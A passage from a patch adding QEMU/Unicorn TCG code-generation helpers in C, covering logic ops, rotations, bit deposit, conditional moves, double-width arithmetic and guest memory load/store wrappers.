} else { + tcg_gen_and_i64(s, ret, arg1, arg2); + tcg_gen_not_i64(s, ret, ret); + } +#else + tcg_gen_nand_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_nand_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +#endif +} + +static inline void tcg_gen_nor_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_nor_i32) { + tcg_gen_op3_i32(s, INDEX_op_nor_i32, ret, arg1, arg2); + } else { + tcg_gen_or_i32(s, ret, arg1, arg2); + tcg_gen_not_i32(s, ret, ret); + } +} + +static inline void tcg_gen_nor_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ +#if TCG_TARGET_REG_BITS == 64 + if (TCG_TARGET_HAS_nor_i64) { + tcg_gen_op3_i64(s, INDEX_op_nor_i64, ret, arg1, arg2); + } else { + tcg_gen_or_i64(s, ret, arg1, arg2); + tcg_gen_not_i64(s, ret, ret); + } +#else + tcg_gen_nor_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_nor_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +#endif +} + +static inline void tcg_gen_orc_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_orc_i32) { + tcg_gen_op3_i32(s, INDEX_op_orc_i32, ret, arg1, arg2); + } else { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_not_i32(s, t0, arg2); + tcg_gen_or_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_orc_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ +#if TCG_TARGET_REG_BITS == 64 + if (TCG_TARGET_HAS_orc_i64) { + tcg_gen_op3_i64(s, INDEX_op_orc_i64, ret, arg1, arg2); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_not_i64(s, t0, arg2); + tcg_gen_or_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } +#else + tcg_gen_orc_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_orc_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +#endif +} + +static inline void tcg_gen_rotl_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_rot_i32) { + tcg_gen_op3_i32(s, INDEX_op_rotl_i32, ret, arg1, arg2); + } else { + TCGv_i32 t0, t1; + + t0 = tcg_temp_new_i32(s); + t1 = tcg_temp_new_i32(s); + tcg_gen_shl_i32(s, t0, arg1, arg2); + tcg_gen_subfi_i32(s, t1, 32, arg2); + tcg_gen_shr_i32(s, t1, arg1, t1); + tcg_gen_or_i32(s, ret, t0, t1); + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + } +} + +static inline void tcg_gen_rotl_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_rot_i64) { + tcg_gen_op3_i64(s, INDEX_op_rotl_i64, ret, arg1, arg2); + } else { + TCGv_i64 t0, t1; + t0 = tcg_temp_new_i64(s); + t1 = tcg_temp_new_i64(s); + tcg_gen_shl_i64(s, t0, arg1, arg2); + tcg_gen_subfi_i64(s, t1, 64, arg2); + tcg_gen_shr_i64(s, t1, arg1, t1); + tcg_gen_or_i64(s, ret, t0, t1); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_rotli_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else if (TCG_TARGET_HAS_rot_i32) { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_rotl_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } else { + TCGv_i32 t0, t1; + t0 = tcg_temp_new_i32(s); + t1 = tcg_temp_new_i32(s); + tcg_gen_shli_i32(s, t0, arg1, arg2); + tcg_gen_shri_i32(s, t1, arg1, 32 - arg2); + tcg_gen_or_i32(s, ret, t0, t1); + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + } +} + +static inline void tcg_gen_rotli_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else if (TCG_TARGET_HAS_rot_i64) { + TCGv_i64 t0 = tcg_const_i64(s, arg2); + tcg_gen_rotl_i64(s, ret, arg1, t0); + tcg_temp_free_i64(s, t0); + } else { + TCGv_i64 t0, t1; + t0 = tcg_temp_new_i64(s); + t1 = tcg_temp_new_i64(s); + tcg_gen_shli_i64(s, t0, arg1, arg2); + tcg_gen_shri_i64(s, t1, arg1, 64 - arg2); + tcg_gen_or_i64(s, ret, t0, t1); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_rotr_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_rot_i32) { + tcg_gen_op3_i32(s, INDEX_op_rotr_i32, ret, arg1, arg2); + } else { + TCGv_i32 t0, t1; + + t0 = tcg_temp_new_i32(s); + t1 = tcg_temp_new_i32(s); + tcg_gen_shr_i32(s, t0, arg1, arg2); + tcg_gen_subfi_i32(s, t1, 32, arg2); + tcg_gen_shl_i32(s, t1, arg1, t1); + tcg_gen_or_i32(s, ret, t0, t1); + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + } +} + +static inline void tcg_gen_rotr_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_rot_i64) { + tcg_gen_op3_i64(s, INDEX_op_rotr_i64, ret, arg1, arg2); + } else { + TCGv_i64 t0, t1; + t0 = tcg_temp_new_i64(s); + t1 = tcg_temp_new_i64(s); + tcg_gen_shr_i64(s, t0, arg1, arg2); + tcg_gen_subfi_i64(s, t1, 64, arg2); + tcg_gen_shl_i64(s, t1, arg1, t1); + tcg_gen_or_i64(s, ret, t0, t1); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_rotri_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + tcg_gen_rotli_i32(s, ret, arg1, 32 - arg2); + } +} + +static inline void tcg_gen_rotri_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i64(s, ret, arg1); + } else { + tcg_gen_rotli_i64(s, ret, arg1, 64 - arg2); + } +} + +static inline void tcg_gen_deposit_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, + TCGv_i32 arg2, unsigned int ofs, + unsigned int len) +{ + uint32_t mask; + TCGv_i32 t1; + + tcg_debug_assert(ofs < 32); + tcg_debug_assert(len <= 32); + tcg_debug_assert(ofs + len <= 32); + + if (ofs == 0 && len == 32) { + tcg_gen_mov_i32(s, ret, arg2); + return; + } + if (TCG_TARGET_HAS_deposit_i32 && TCG_TARGET_deposit_i32_valid(ofs, len)) { + tcg_gen_op5ii_i32(s, INDEX_op_deposit_i32, ret, arg1, arg2, ofs, len); + return; + } + + mask = (1u << (len & 0x1f)) - 1; + t1 = tcg_temp_new_i32(s); + + if (ofs + len < 32) { + tcg_gen_andi_i32(s, t1, arg2, mask); + tcg_gen_shli_i32(s, t1, t1, ofs); + } else { + tcg_gen_shli_i32(s, t1, arg2, ofs); + } + tcg_gen_andi_i32(s, ret, arg1, ~(mask << ofs)); + tcg_gen_or_i32(s, ret, ret, t1); + + tcg_temp_free_i32(s, t1); +} + +static inline void tcg_gen_deposit_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, + TCGv_i64 arg2, unsigned int ofs, + unsigned int len) +{ + uint64_t mask; + TCGv_i64 t1; + + tcg_debug_assert(ofs < 64); + tcg_debug_assert(len <= 64); + tcg_debug_assert(ofs + len <= 64); + + if (ofs == 0 && len == 64) { + tcg_gen_mov_i64(s, ret, arg2); + return; + } + if (TCG_TARGET_HAS_deposit_i64 && TCG_TARGET_deposit_i64_valid(ofs, len)) { + tcg_gen_op5ii_i64(s, INDEX_op_deposit_i64, ret, arg1, arg2, ofs, len); + return; + } + +#if TCG_TARGET_REG_BITS == 32 + if (ofs >= 32) { + tcg_gen_deposit_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), + TCGV_LOW(arg2), ofs - 32, len); + tcg_gen_mov_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1)); + return; + } + if (ofs + len <= 32) { + tcg_gen_deposit_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), + TCGV_LOW(arg2), ofs, len); + tcg_gen_mov_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1)); + return; + } +#endif + + mask = (1ull << len) - 1; + t1 = tcg_temp_new_i64(s); + + if (ofs + len < 64) { + tcg_gen_andi_i64(s, t1, arg2, mask); + tcg_gen_shli_i64(s, t1, t1, ofs); + } else { + tcg_gen_shli_i64(s, t1, arg2, ofs); + } + tcg_gen_andi_i64(s, ret, arg1, ~(mask << ofs)); + tcg_gen_or_i64(s, ret, ret, t1); + + tcg_temp_free_i64(s, t1); +} + +static inline void tcg_gen_concat_i32_i64(TCGContext *s, TCGv_i64 dest, TCGv_i32 low, + TCGv_i32 high) +{ +#if TCG_TARGET_REG_BITS == 32 + tcg_gen_mov_i32(s, TCGV_LOW(dest), low); + tcg_gen_mov_i32(s, TCGV_HIGH(dest), high); +#else + TCGv_i64 tmp = tcg_temp_new_i64(s); + /* These extensions are only needed for type correctness. + We may be able to do better given target specific information. */ + tcg_gen_extu_i32_i64(s, tmp, high); + tcg_gen_extu_i32_i64(s, dest, low); + /* If deposit is available, use it. Otherwise use the extra + knowledge that we have of the zero-extensions above. */ + if (TCG_TARGET_HAS_deposit_i64 && TCG_TARGET_deposit_i64_valid(32, 32)) { + tcg_gen_deposit_i64(s, dest, dest, tmp, 32, 32); + } else { + tcg_gen_shli_i64(s, tmp, tmp, 32); + tcg_gen_or_i64(s, dest, dest, tmp); + } + tcg_temp_free_i64(s, tmp); +#endif +} + +static inline void tcg_gen_concat32_i64(TCGContext *s, TCGv_i64 dest, TCGv_i64 low, + TCGv_i64 high) +{ + tcg_gen_deposit_i64(s, dest, low, high, 32, 32); +} + +static inline void tcg_gen_trunc_i64_i32(TCGContext *s, TCGv_i32 ret, TCGv_i64 arg) +{ + tcg_gen_trunc_shr_i64_i32(s, ret, arg, 0); +} + +static inline void tcg_gen_extr_i64_i32(TCGContext *s, TCGv_i32 lo, TCGv_i32 hi, TCGv_i64 arg) +{ + tcg_gen_trunc_shr_i64_i32(s, lo, arg, 0); + tcg_gen_trunc_shr_i64_i32(s, hi, arg, 32); +} + +static inline void tcg_gen_extr32_i64(TCGContext *s, TCGv_i64 lo, TCGv_i64 hi, TCGv_i64 arg) +{ + tcg_gen_ext32u_i64(s, lo, arg); + tcg_gen_shri_i64(s, hi, arg, 32); +} + +static inline void tcg_gen_movcond_i32(TCGContext *s, TCGCond cond, TCGv_i32 ret, + TCGv_i32 c1, TCGv_i32 c2, + TCGv_i32 v1, TCGv_i32 v2) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_mov_i32(s, ret, v1); + } else if (cond == TCG_COND_NEVER) { + tcg_gen_mov_i32(s, ret, v2); + } + else if (TCG_TARGET_HAS_movcond_i32) { + tcg_gen_op6i_i32(s, INDEX_op_movcond_i32, ret, c1, c2, v1, v2, cond); + } else { + TCGv_i32 t0 = tcg_temp_new_i32(s); + TCGv_i32 t1 = tcg_temp_new_i32(s); + tcg_gen_setcond_i32(s, cond, t0, c1, c2); + tcg_gen_neg_i32(s, t0, t0); + tcg_gen_and_i32(s, t1, v1, t0); + tcg_gen_andc_i32(s, ret, v2, t0); + tcg_gen_or_i32(s, ret, ret, t1); + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + } +} + +static inline void tcg_gen_movcond_i64(TCGContext *s, TCGCond cond, TCGv_i64 ret, + TCGv_i64 c1, TCGv_i64 c2, + TCGv_i64 v1, TCGv_i64 v2) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_mov_i64(s, ret, v1); + } else if (cond == TCG_COND_NEVER) { + tcg_gen_mov_i64(s, ret, v2); + } + else { +#if TCG_TARGET_REG_BITS == 32 + TCGv_i32 t0 = tcg_temp_new_i32(s); + TCGv_i32 t1 = tcg_temp_new_i32(s); + tcg_gen_op6i_i32(s, INDEX_op_setcond2_i32, t0, + TCGV_LOW(c1), TCGV_HIGH(c1), + TCGV_LOW(c2), TCGV_HIGH(c2), cond); + + if (TCG_TARGET_HAS_movcond_i32) { + tcg_gen_movi_i32(s, t1, 0); + tcg_gen_movcond_i32(s, TCG_COND_NE, TCGV_LOW(ret), t0, t1, + TCGV_LOW(v1), TCGV_LOW(v2)); + tcg_gen_movcond_i32(s, TCG_COND_NE, TCGV_HIGH(ret), t0, t1, + TCGV_HIGH(v1), TCGV_HIGH(v2)); + } else { + tcg_gen_neg_i32(s, t0, t0); + + tcg_gen_and_i32(s, t1, TCGV_LOW(v1), t0); + tcg_gen_andc_i32(s, TCGV_LOW(ret), TCGV_LOW(v2), t0); + tcg_gen_or_i32(s, TCGV_LOW(ret), TCGV_LOW(ret), t1); + + tcg_gen_and_i32(s, t1, TCGV_HIGH(v1), t0); + tcg_gen_andc_i32(s, TCGV_HIGH(ret), TCGV_HIGH(v2), t0); + tcg_gen_or_i32(s, TCGV_HIGH(ret), TCGV_HIGH(ret), t1); + } + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + #else + if (TCG_TARGET_HAS_movcond_i64) { + tcg_gen_op6i_i64(s, INDEX_op_movcond_i64, ret, c1, c2, v1, v2, cond); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + tcg_gen_setcond_i64(s, cond, t0, c1, c2); + tcg_gen_neg_i64(s, t0, t0); + tcg_gen_and_i64(s, t1, v1, t0); + tcg_gen_andc_i64(s, ret, v2, t0); + tcg_gen_or_i64(s, ret, ret, t1); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +#endif + } +} + +static inline void tcg_gen_add2_i32(TCGContext *s, TCGv_i32 rl, TCGv_i32 rh, TCGv_i32 al, + TCGv_i32 ah, TCGv_i32 bl, TCGv_i32 bh) +{ + if (TCG_TARGET_HAS_add2_i32) { + tcg_gen_op6_i32(s, INDEX_op_add2_i32, rl, rh, al, ah, bl, bh); + /* Allow the optimizer room to replace add2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + tcg_gen_concat_i32_i64(s, t0, al, ah); + tcg_gen_concat_i32_i64(s, t1, bl, bh); + tcg_gen_add_i64(s, t0, t0, t1); + tcg_gen_extr_i64_i32(s, rl, rh, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_sub2_i32(TCGContext *s, TCGv_i32 rl, TCGv_i32 rh, TCGv_i32 al, + TCGv_i32 ah, TCGv_i32 bl, TCGv_i32 bh) +{ + if (TCG_TARGET_HAS_sub2_i32) { + tcg_gen_op6_i32(s, INDEX_op_sub2_i32, rl, rh, al, ah, bl, bh); + /* Allow the optimizer room to replace sub2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + tcg_gen_concat_i32_i64(s, t0, al, ah); + tcg_gen_concat_i32_i64(s, t1, bl, bh); + tcg_gen_sub_i64(s, t0, t0, t1); + tcg_gen_extr_i64_i32(s, rl, rh, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_mulu2_i32(TCGContext *s, TCGv_i32 rl, TCGv_i32 rh, + TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_mulu2_i32) { + tcg_gen_op4_i32(s, INDEX_op_mulu2_i32, rl, rh, arg1, arg2); + /* Allow the optimizer room to replace mulu2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else if (TCG_TARGET_HAS_muluh_i32) { + TCGv_i32 t = tcg_temp_new_i32(s); + tcg_gen_op3_i32(s, INDEX_op_mul_i32, t, arg1, arg2); + tcg_gen_op3_i32(s, INDEX_op_muluh_i32, rh, arg1, arg2); + tcg_gen_mov_i32(s, rl, t); + tcg_temp_free_i32(s, t); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + tcg_gen_extu_i32_i64(s, t0, arg1); + tcg_gen_extu_i32_i64(s, t1, arg2); + tcg_gen_mul_i64(s, t0, t0, t1); + tcg_gen_extr_i64_i32(s, rl, rh, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_muls2_i32(TCGContext *s, TCGv_i32 rl, TCGv_i32 rh, + TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_muls2_i32) { + tcg_gen_op4_i32(s, INDEX_op_muls2_i32, rl, rh, arg1, arg2); + /* Allow the optimizer room to replace muls2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else if (TCG_TARGET_HAS_mulsh_i32) { + TCGv_i32 t = tcg_temp_new_i32(s); + tcg_gen_op3_i32(s, INDEX_op_mul_i32, t, arg1, arg2); + tcg_gen_op3_i32(s, INDEX_op_mulsh_i32, rh, arg1, arg2); + tcg_gen_mov_i32(s, rl, t); + tcg_temp_free_i32(s, t); + } else if (TCG_TARGET_REG_BITS == 32) { + TCGv_i32 t0 = tcg_temp_new_i32(s); + TCGv_i32 t1 = tcg_temp_new_i32(s); + TCGv_i32 t2 = tcg_temp_new_i32(s); + TCGv_i32 t3 = tcg_temp_new_i32(s); + tcg_gen_mulu2_i32(s, t0, t1, arg1, arg2); + /* Adjust for negative inputs. */ + tcg_gen_sari_i32(s, t2, arg1, 31); + tcg_gen_sari_i32(s, t3, arg2, 31); + tcg_gen_and_i32(s, t2, t2, arg2); + tcg_gen_and_i32(s, t3, t3, arg1); + tcg_gen_sub_i32(s, rh, t1, t2); + tcg_gen_sub_i32(s, rh, rh, t3); + tcg_gen_mov_i32(s, rl, t0); + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + tcg_temp_free_i32(s, t2); + tcg_temp_free_i32(s, t3); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + tcg_gen_ext_i32_i64(s, t0, arg1); + tcg_gen_ext_i32_i64(s, t1, arg2); + tcg_gen_mul_i64(s, t0, t0, t1); + tcg_gen_extr_i64_i32(s, rl, rh, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_add2_i64(TCGContext *s, TCGv_i64 rl, TCGv_i64 rh, TCGv_i64 al, + TCGv_i64 ah, TCGv_i64 bl, TCGv_i64 bh) +{ + if (TCG_TARGET_HAS_add2_i64) { + tcg_gen_op6_i64(s, INDEX_op_add2_i64, rl, rh, al, ah, bl, bh); + /* Allow the optimizer room to replace add2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + tcg_gen_add_i64(s, t0, al, bl); + tcg_gen_setcond_i64(s, TCG_COND_LTU, t1, t0, al); + tcg_gen_add_i64(s, rh, ah, bh); + tcg_gen_add_i64(s, rh, rh, t1); + tcg_gen_mov_i64(s, rl, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_sub2_i64(TCGContext *s, TCGv_i64 rl, TCGv_i64 rh, TCGv_i64 al, + TCGv_i64 ah, TCGv_i64 bl, TCGv_i64 bh) +{ + if (TCG_TARGET_HAS_sub2_i64) { + tcg_gen_op6_i64(s, INDEX_op_sub2_i64, rl, rh, al, ah, bl, bh); + /* Allow the optimizer room to replace sub2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + tcg_gen_sub_i64(s, t0, al, bl); + tcg_gen_setcond_i64(s, TCG_COND_LTU, t1, al, bl); + tcg_gen_sub_i64(s, rh, ah, bh); + tcg_gen_sub_i64(s, rh, rh, t1); + tcg_gen_mov_i64(s, rl, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + } +} + +static inline void tcg_gen_mulu2_i64(TCGContext *s, TCGv_i64 rl, TCGv_i64 rh, + TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_mulu2_i64) { + tcg_gen_op4_i64(s, INDEX_op_mulu2_i64, rl, rh, arg1, arg2); + /* Allow the optimizer room to replace mulu2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else if (TCG_TARGET_HAS_muluh_i64) { + TCGv_i64 t = tcg_temp_new_i64(s); + tcg_gen_op3_i64(s, INDEX_op_mul_i64, t, arg1, arg2); + tcg_gen_op3_i64(s, INDEX_op_muluh_i64, rh, arg1, arg2); + tcg_gen_mov_i64(s, rl, t); + tcg_temp_free_i64(s, t); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_mul_i64(s, t0, arg1, arg2); + gen_helper_muluh_i64(s, rh, arg1, arg2); + tcg_gen_mov_i64(s, rl, t0); + tcg_temp_free_i64(s, t0); + } +} + +static inline void tcg_gen_muls2_i64(TCGContext *s, TCGv_i64 rl, TCGv_i64 rh, + TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (TCG_TARGET_HAS_muls2_i64) { + tcg_gen_op4_i64(s, INDEX_op_muls2_i64, rl, rh, arg1, arg2); + /* Allow the optimizer room to replace muls2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else if (TCG_TARGET_HAS_mulsh_i64) { + TCGv_i64 t = tcg_temp_new_i64(s); + tcg_gen_op3_i64(s, INDEX_op_mul_i64, t, arg1, arg2); + tcg_gen_op3_i64(s, INDEX_op_mulsh_i64, rh, arg1, arg2); + tcg_gen_mov_i64(s, rl, t); + tcg_temp_free_i64(s, t); + } else if (TCG_TARGET_HAS_mulu2_i64 || TCG_TARGET_HAS_muluh_i64) { + TCGv_i64 t0 = tcg_temp_new_i64(s); + TCGv_i64 t1 = tcg_temp_new_i64(s); + TCGv_i64 t2 = tcg_temp_new_i64(s); + TCGv_i64 t3 = tcg_temp_new_i64(s); + tcg_gen_mulu2_i64(s, t0, t1, arg1, arg2); + /* Adjust for negative inputs. */ + tcg_gen_sari_i64(s, t2, arg1, 63); + tcg_gen_sari_i64(s, t3, arg2, 63); + tcg_gen_and_i64(s, t2, t2, arg2); + tcg_gen_and_i64(s, t3, t3, arg1); + tcg_gen_sub_i64(s, rh, t1, t2); + tcg_gen_sub_i64(s, rh, rh, t3); + tcg_gen_mov_i64(s, rl, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i64(s, t1); + tcg_temp_free_i64(s, t2); + tcg_temp_free_i64(s, t3); + } else { + TCGv_i64 t0 = tcg_temp_new_i64(s); + tcg_gen_mul_i64(s, t0, arg1, arg2); + gen_helper_mulsh_i64(s, rh, arg1, arg2); + tcg_gen_mov_i64(s, rl, t0); + tcg_temp_free_i64(s, t0); + } +} + +/***************************************/ +/* QEMU specific operations. Their type depend on the QEMU CPU + type. */ +#ifndef TARGET_LONG_BITS +#error must include QEMU headers +#endif + +#if TARGET_LONG_BITS == 32 +#define TCGv TCGv_i32 +#define tcg_temp_new(s) tcg_temp_new_i32(s) +#define tcg_global_reg_new tcg_global_reg_new_i32 +#define tcg_global_mem_new tcg_global_mem_new_i32 +#define tcg_temp_local_new(s) tcg_temp_local_new_i32(s) +#define tcg_temp_free tcg_temp_free_i32 +#define TCGV_UNUSED(x) TCGV_UNUSED_I32(x) +#define TCGV_IS_UNUSED(x) TCGV_IS_UNUSED_I32(x) +#define TCGV_EQUAL(a, b) TCGV_EQUAL_I32(a, b) +#define tcg_add_param_tl tcg_add_param_i32 +#define tcg_gen_qemu_ld_tl tcg_gen_qemu_ld_i32 +#define tcg_gen_qemu_st_tl tcg_gen_qemu_st_i32 +#else +#define TCGv TCGv_i64 +#define tcg_temp_new(s) tcg_temp_new_i64(s) +#define tcg_global_reg_new tcg_global_reg_new_i64 +#define tcg_global_mem_new tcg_global_mem_new_i64 +#define tcg_temp_local_new(s) tcg_temp_local_new_i64(s) +#define tcg_temp_free tcg_temp_free_i64 +#define TCGV_UNUSED(x) TCGV_UNUSED_I64(x) +#define TCGV_IS_UNUSED(x) TCGV_IS_UNUSED_I64(x) +#define TCGV_EQUAL(a, b) TCGV_EQUAL_I64(a, b) +#define tcg_add_param_tl tcg_add_param_i64 +#define tcg_gen_qemu_ld_tl tcg_gen_qemu_ld_i64 +#define tcg_gen_qemu_st_tl tcg_gen_qemu_st_i64 +#endif + +/* debug info: write the PC of the corresponding QEMU CPU instruction */ +static inline void tcg_gen_debug_insn_start(TCGContext *s, uint64_t pc) +{ + /* XXX: must really use a 32 bit size for TCGArg in all cases */ +#if TARGET_LONG_BITS > TCG_TARGET_REG_BITS + tcg_gen_op2ii(s, INDEX_op_debug_insn_start, + (uint32_t)(pc), (uint32_t)(pc >> 32)); +#else + tcg_gen_op1i(s, INDEX_op_debug_insn_start, pc); +#endif +} + +static inline void tcg_gen_exit_tb(TCGContext *s, uintptr_t val) +{ + tcg_gen_op1i(s, INDEX_op_exit_tb, val); +} + +static inline void tcg_gen_goto_tb(TCGContext *s, unsigned idx) +{ + /* We only support two chained exits. */ + tcg_debug_assert(idx <= 1); +#ifdef CONFIG_DEBUG_TCG + /* Verify that we havn't seen this numbered exit before. */ + tcg_debug_assert((s->goto_tb_issue_mask & (1 << idx)) == 0); + s->goto_tb_issue_mask |= 1 << idx; +#endif + tcg_gen_op1i(s, INDEX_op_goto_tb, idx); +} + + +void tcg_gen_qemu_ld_i32(struct uc_struct *uc, TCGv_i32, TCGv, TCGArg, TCGMemOp); +void tcg_gen_qemu_st_i32(struct uc_struct *uc, TCGv_i32, TCGv, TCGArg, TCGMemOp); +void tcg_gen_qemu_ld_i64(struct uc_struct *uc, TCGv_i64, TCGv, TCGArg, TCGMemOp); +void tcg_gen_qemu_st_i64(struct uc_struct *uc, TCGv_i64, TCGv, TCGArg, TCGMemOp); + +static inline void tcg_gen_qemu_ld8u(struct uc_struct *uc, TCGv ret, TCGv addr, int mem_index) +{ + tcg_gen_qemu_ld_tl(uc, ret, addr, mem_index, MO_UB); +} + +static inline void tcg_gen_qemu_ld8s(struct uc_struct *uc, TCGv ret, TCGv addr, int mem_index) +{ + tcg_gen_qemu_ld_tl(uc, ret, addr, mem_index, MO_SB); +} + +static inline void tcg_gen_qemu_ld16u(struct uc_struct *uc, TCGv ret, TCGv addr, int mem_index) +{ + tcg_gen_qemu_ld_tl(uc, ret, addr, mem_index, MO_TEUW); +} + +static inline void tcg_gen_qemu_ld16s(struct uc_struct *uc, TCGv ret, TCGv addr, int mem_index) +{ + tcg_gen_qemu_ld_tl(uc, ret, addr, mem_index, MO_TESW); +} + +static inline void tcg_gen_qemu_ld32u(struct uc_struct *uc, TCGv ret, TCGv addr, int mem_index) +{ + tcg_gen_qemu_ld_tl(uc, ret, addr, mem_index, MO_TEUL); +} + +static inline void tcg_gen_qemu_ld32s(struct uc_struct *uc, TCGv ret, TCGv addr, int mem_index) +{ + tcg_gen_qemu_ld_tl(uc, ret, addr, mem_index, MO_TESL); +} + +static inline void tcg_gen_qemu_ld64(struct uc_struct *uc, TCGv_i64 ret, TCGv addr, int mem_index) +{ + tcg_gen_qemu_ld_i64(uc, ret, addr, mem_index, MO_TEQ); +} + +static inline void tcg_gen_qemu_st8(struct uc_struct *uc, TCGv arg, TCGv addr, int mem_index) +{ + tcg_gen_qemu_st_tl(uc, arg, addr, mem_index, MO_UB); +} + +static inline void tcg_gen_qemu_st16(struct uc_struct *uc, TCGv arg, TCGv addr, int mem_index) +{ + tcg_gen_qemu_st_tl(uc, arg, addr, mem_index, MO_TEUW); +} + +static inline void tcg_gen_qemu_st32(struct uc_struct *uc, TCGv arg, TCGv addr, int mem_index) +{ + tcg_gen_qemu_st_tl(uc, arg, addr, mem_index, MO_TEUL); +} + +static inline void tcg_gen_qemu_st64(struct uc_struct *uc, TCGv_i64 arg, TCGv addr, int mem_index) +{ + tcg_gen_qemu_st_i64(uc, arg, addr, mem_index, MO_TEQ); +} + +#if TARGET_LONG_BITS == 64 +#define tcg_gen_movi_tl tcg_gen_movi_i64 +#define tcg_gen_mov_tl tcg_gen_mov_i64 +#define tcg_gen_ld8u_tl 